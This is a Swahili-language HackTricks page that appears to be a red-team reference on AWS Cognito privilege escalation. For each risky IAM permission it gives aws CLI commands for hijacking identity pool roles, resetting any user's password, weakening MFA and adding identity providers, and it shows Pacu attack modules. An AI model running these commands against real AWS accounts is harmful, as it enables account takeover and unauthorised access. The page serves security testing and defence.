AWS - Cognito Privesc
Reading time: 13 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Cognito
Kwa maelezo zaidi kuhusu Cognito angalia:
Kukusanya akreditif kutoka kwa Identity Pool
Kama Cognito inaweza kutoa IAM role credentials kwa watumiaji walioidhinishwa na wasioidhinishwa, ikiwa utapata Identity Pool ID ya programu (inapaswa kuwa imeandikwa ndani yake) unaweza kupata akreditif mpya na hivyo privesc (ndani ya akaunti ya AWS ambapo huenda hukuwahi kuwa na akreditif yoyote hapo awali).
Kwa maelezo zaidi angalia ukurasa huu.
Athari Zinazoweza Kutokea: Privesc moja kwa moja kwa huduma ya jukumu iliyoambatanishwa na watumiaji wasioidhinishwa (na huenda kwa ile iliyoambatanishwa na watumiaji walioidhinishwa).
cognito-identity:SetIdentityPoolRoles
, iam:PassRole
Kwa ruhusa hii unaweza kutoa jukumu lolote la cognito kwa watumiaji walioidhinishwa/wasioidhinishwa wa programu ya cognito.
aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>
# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
Ikiwa programu ya cognito haijawa na watumiaji wasio na uthibitisho unaweza pia kuhitaji ruhusa cognito-identity:UpdateIdentityPool
ili kuifanya iweze.
Athari Zinazoweza Kutokea: Privesc ya moja kwa moja kwa jukumu lolote la cognito.
cognito-identity:update-identity-pool
Mshambuliaji mwenye ruhusa hii anaweza kuweka kwa mfano Pool ya Watumiaji wa Cognito chini ya udhibiti wake au mtoa huduma mwingine wa utambulisho ambapo anaweza kuingia kama njia ya kufikia Pool hii ya Utambulisho wa Cognito. Kisha, tu ingia kwenye mtoa huduma huyo wa mtumiaji itamruhusu kuweza kufikia jukumu lililowekwa la uthibitisho katika Pool ya Utambulisho.
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:
# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
Inawezekana pia kudhulumu ruhusa hii ili kuruhusu uthibitishaji wa msingi:
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow
Madhara Yanayoweza Kutokea: Kuathiri jukumu la IAM lililowekwa ndani ya mchanganyiko wa utambulisho.
cognito-idp:AdminAddUserToGroup
Ruhusa hii inaruhusu kuongeza mtumiaji wa Cognito kwenye kundi la Cognito, hivyo mshambuliaji anaweza kutumia ruhusa hii kuongeza mtumiaji chini ya udhibiti wake kwenye makundi mengine yenye haki bora au majukumu tofauti ya IAM:
aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>
Madhara Yanayoweza Kutokea: Privesc kwa vikundi vingine vya Cognito na majukumu ya IAM yaliyounganishwa na Vikundi vya User Pool.
(cognito-idp:CreateGroup
| cognito-idp:UpdateGroup
), iam:PassRole
Mshambuliaji mwenye ruhusa hizi anaweza kuunda/kusasisha vikundi na kila jukumu la IAM ambalo linaweza kutumika na Mtoa Huduma wa Utambulisho wa Cognito aliyeathirika na kufanya mtumiaji aliyeathirika kuwa sehemu ya kikundi, akipata ufikiaji wa majukumu yote hayo:
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
Madhara Yanayoweza Kutokea: Privesc kwa majukumu mengine ya Cognito IAM.
cognito-idp:AdminConfirmSignUp
Ruhusa hii inaruhusu kuhakiki usajili. Kwa kawaida mtu yeyote anaweza kuingia kwenye programu za Cognito, ikiwa hiyo itaachwa, mtumiaji anaweza kuunda akaunti kwa data yoyote na kuithibitisha kwa ruhusa hii.
aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>
Madhara Yanayoweza Kutokea: Privesc isiyo ya moja kwa moja kwa jukumu la IAM la mchanganyiko wa utambulisho kwa watumiaji walioidhinishwa ikiwa unaweza kujiandikisha mtumiaji mpya. Privesc isiyo ya moja kwa moja kwa kazi nyingine za programu kwa kuwa na uwezo wa kuthibitisha akaunti yoyote.
cognito-idp:AdminCreateUser
Ruhusa hii itamruhusu mshambuliaji kuunda mtumiaji mpya ndani ya mchanganyiko wa watumiaji. Mtumiaji mpya anaundwa kama aliyewezeshwa, lakini atahitaji kubadilisha nenosiri lake.
aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]
Madhara Yanayoweza Kutokea: Privesc moja kwa moja kwa jukumu la IAM la mchanganyiko wa utambulisho kwa watumiaji walioidhinishwa. Privesc isiyo ya moja kwa moja kwa kazi nyingine za programu kwa uwezo wa kuunda mtumiaji yeyote.
cognito-idp:AdminEnableUser
Ruhusa hii inaweza kusaidia katika hali ya kipekee ambapo mshambuliaji alipata akidi za mtumiaji aliyezuiliwa na anahitaji kuiwezesha tena.
aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>
Madhara Yanayoweza Kutokea: Privesc isiyo ya moja kwa moja kwa jukumu la IAM la mchanganyiko wa utambulisho kwa watumiaji walioidhinishwa na ruhusa za mtumiaji ikiwa mshambuliaji alikuwa na akidi za mtumiaji aliyezuiliwa.
cognito-idp:AdminInitiateAuth
, cognito-idp:AdminRespondToAuthChallenge
Ruhusa hii inaruhusu kuingia kwa kutumia mbinu ADMIN_USER_PASSWORD_AUTH. Kwa maelezo zaidi fuata kiungo.
cognito-idp:AdminSetUserPassword
Ruhusa hii ingemruhusu mshambuliaji kubadilisha nenosiri la mtumiaji yeyote, na kumfanya aweze kujifanya kama mtumiaji yeyote (ambaye hana MFA iliyoanzishwa).
aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent
Madhara Yanayoweza Kutokea: Privesc ya moja kwa moja kwa mtumiaji yeyote, hivyo kupata ufikiaji wa vikundi vyote ambavyo kila mtumiaji ni mwanachama na ufikiaji wa jukumu la IAM lililothibitishwa la Identity Pool.
cognito-idp:AdminSetUserSettings
| cognito-idp:SetUserMFAPreference
| cognito-idp:SetUserPoolMfaConfig
| cognito-idp:UpdateUserPool
AdminSetUserSettings: Mshambuliaji anaweza kutumia ruhusa hii vibaya kuweka simu ya mkononi chini ya udhibiti wake kama SMS MFA ya mtumiaji.
aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>
SetUserMFAPreference: Kufanana na ile ya awali, ruhusa hii inaweza kutumika kuweka upendeleo wa MFA wa mtumiaji ili kupita ulinzi wa MFA.
aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>
SetUserPoolMfaConfig: Kufanana na ile ya awali, ruhusa hii inaweza kutumika kuweka mapendeleo ya MFA ya kundi la watumiaji ili kupita ulinzi wa MFA.
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]
UpdateUserPool: Pia inawezekana kuboresha mfuatano wa watumiaji kubadilisha sera ya MFA. Check cli here.
Potential Impact: Privesc isiyo ya moja kwa moja kwa mtumiaji yeyote ambaye mshambuliaji anajua akidi zake, hii inaweza kuruhusu kupita ulinzi wa MFA.
cognito-idp:AdminUpdateUserAttributes
Mshambuliaji mwenye ruhusa hii anaweza kubadilisha barua pepe au nambari ya simu au sifa nyingine yoyote ya mtumiaji chini ya udhibiti wake ili kujaribu kupata mamlaka zaidi katika programu ya chini.
Hii inaruhusu kubadilisha barua pepe au nambari ya simu na kuziweka kama zilizothibitishwa.
aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>
Madhara Yanayoweza Kutokea: Madhara ya moja kwa moja ya privesc katika programu ya msingi inayotumia Cognito User Pool ambayo inatoa mamlaka kulingana na sifa za mtumiaji.
cognito-idp:CreateUserPoolClient
| cognito-idp:UpdateUserPoolClient
Mshambuliaji mwenye ruhusa hii anaweza kuunda Mteja Mpya wa User Pool ambao haujawekwa vizuizi kuliko wateja wa pool waliopo tayari. Kwa mfano, mteja mpya anaweza kuruhusu aina yoyote ya mbinu za uthibitishaji, asiwe na siri yoyote, kuwa na uondoaji wa tokeni uliozuiliwa, kuruhusu tokeni kuwa halali kwa muda mrefu zaidi...
Ile ile inaweza kufanywa ikiwa badala ya kuunda mteja mpya, mteja aliyopo anabadilishwa.
Katika command line (au update one) unaweza kuona chaguzi zote, angalia!
aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]
Madhara Yanayoweza Kutokea: Madhara ya moja kwa moja ya privesc kwa mtumiaji aliyeidhinishwa wa Identity Pool anayetumiwa na User Pool kwa kuunda mteja mpya ambao unarefusha hatua za usalama na kufanya iwezekane kwa mshambuliaji kuingia na mtumiaji aliyeweza kuunda.
cognito-idp:CreateUserImportJob
| cognito-idp:StartUserImportJob
Mshambuliaji anaweza kutumia ruhusa hii kuunda watumiaji kwa kupakia csv yenye watumiaji wapya.
# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>
# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>
# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
(Katika kesi ambapo unaunda kazi mpya ya kuagiza unaweza pia kuhitaji ruhusa ya iam passrole, sijajaribu bado).
Athari Zinazoweza Kutokea: Privesc ya moja kwa moja kwa jukumu la IAM la mchanganyiko wa utambulisho kwa watumiaji walioidhinishwa. Privesc ya moja kwa moja kwa kazi nyingine za programu kwa uwezo wa kuunda mtumiaji yeyote.
cognito-idp:CreateIdentityProvider
| cognito-idp:UpdateIdentityProvider
Mshambuliaji anaweza kuunda mtoa huduma mpya wa utambulisho ili kisha aweze kuingia kupitia mtoa huduma huyu.
aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]
Madhara Yanayoweza Kutokea: Privesc moja kwa moja kwa jukumu la IAM la mchanganyiko wa utambulisho kwa watumiaji walioidhinishwa. Privesc isiyo ya moja kwa moja kwa kazi nyingine za programu kwa uwezo wa kuunda mtumiaji yeyote.
cognito-sync:* Uchambuzi
Hii ni ruhusa ya kawaida sana kwa default katika majukumu ya Mchanganyiko wa Utambulisho wa Cognito. Hata kama wildcard katika ruhusa daima inaonekana mbaya (hasa ikitoka AWS), ruhusa zilizotolewa si za manufaa sana kutoka kwa mtazamo wa washambuliaji.
Ruhusa hii inaruhusu kusoma taarifa za matumizi ya Mchanganyiko wa Utambulisho na Vitambulisho vya Utambulisho ndani ya Mchanganyiko wa Utambulisho (ambayo si taarifa nyeti).
Vitambulisho vya Utambulisho vinaweza kuwa na Datasets vilivyotolewa kwao, ambavyo ni taarifa za vikao (AWS inaviita kama mchezo uliohifadhiwa). Inaweza kuwa inawezekana kwamba hii ina aina fulani ya taarifa nyeti (lakini uwezekano ni mdogo sana). Unaweza kupata katika ukurasa wa orodha jinsi ya kufikia taarifa hii.
Mshambuliaji pia anaweza kutumia ruhusa hizi ku jiandikishe kwenye mtiririko wa Cognito unaochapisha mabadiliko kwenye datasets hizi au lambda inayosababisha kwenye matukio ya cognito. Sijawahi kuona hii ikitumika, na sitarajii taarifa nyeti hapa, lakini si haiwezekani.
Zana za Kiotomatiki
- Pacu, mfumo wa unyakuzi wa AWS, sasa unajumuisha moduli za "cognito__enum" na "cognito__attack" ambazo zinafanya otomatiki orodha ya mali zote za Cognito katika akaunti na kuashiria usanidi dhaifu, sifa za mtumiaji zinazotumika kwa udhibiti wa ufikiaji, nk, na pia zinafanya otomatiki uundaji wa mtumiaji (ikiwemo msaada wa MFA) na kupandisha hadhi kulingana na sifa za kawaida zinazoweza kubadilishwa, akidi za utambulisho zinazoweza kutumika, majukumu yanayoweza kuchukuliwa katika vitambulisho vya id, nk.
Kwa maelezo ya kazi za moduli angalia sehemu ya 2 ya blogu. Kwa maelekezo ya usakinishaji angalia ukurasa mkuu wa Pacu.
Matumizi
Mfano wa matumizi ya cognito__attack kujaribu uundaji wa mtumiaji na njia zote za privesc dhidi ya mchanganyiko wa utambulisho na mteja wa mchanganyiko wa mtumiaji:
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
Sample cognito__enum matumizi ya kukusanya kila mzunguko wa mtumiaji, wateja wa mzunguko wa mtumiaji, mizunguko ya utambulisho, watumiaji, nk. wanaoonekana katika akaunti ya sasa ya AWS:
Pacu (new:test) > run cognito__enum
- Cognito Scanner ni chombo cha CLI katika python ambacho kinatekeleza mashambulizi tofauti kwenye Cognito ikijumuisha kupanda vyeo.
Installation
$ pip install cognito-scanner
Matumizi
$ cognito-scanner --help
Kwa maelezo zaidi angalia https://github.com/padok-team/cognito-scanner
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.